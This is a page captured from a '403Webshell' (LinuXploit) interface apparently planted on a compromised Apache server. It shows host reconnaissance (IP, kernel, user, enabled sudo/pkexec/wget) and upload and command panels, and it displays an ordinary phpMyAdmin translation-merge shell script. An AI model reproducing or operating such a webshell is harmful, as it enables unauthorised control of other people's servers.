403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/mvXGLRUxHog6/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/mvXGLRUxHog6/scripts/update-po-foreign
#!/bin/sh
# vim: expandtab sw=4 ts=4 sts=4:

if [ ! -d "$1" ] ; then 
    echo 'Usage: update-po-foreign DIR'
    echo 'Updates po files based on po files in DIR'
    exit 1
fi

export LC_COLLATE=C
LOCS=`ls po/*.po | sed 's@.*/\(.*\)\.po@\1@'`

ver=`sed -n "/PMA_VERSION', '/ s/.*PMA_VERSION', '\(.*\)'.*/\1/p" libraries/Config.class.php`

for loc in $LOCS ; do
    if [ ! -f "$1/$loc.po" ] ; then
        continue
    fi
    sed -i '
        s/SOME DESCRIPTIVE TITLE/phpMyAdmin translation/;
        s/PACKAGE/phpMyAdmin/;
        s/(C) YEAR/(C) 2003 - '`date +%Y`'/;
        s/VERSION/'$ver'/;
        s/Project-Id-Version: phpMyAdmin .*/Project-Id-Version: phpMyAdmin '$ver'\\n"/;
        ' po/$loc.po
    msgmerge --previous -C "$1/$loc.po" -U po/$loc.po po/phpmyadmin.pot
done

Youez - 2016 - github.com/yon3zu
LinuXploit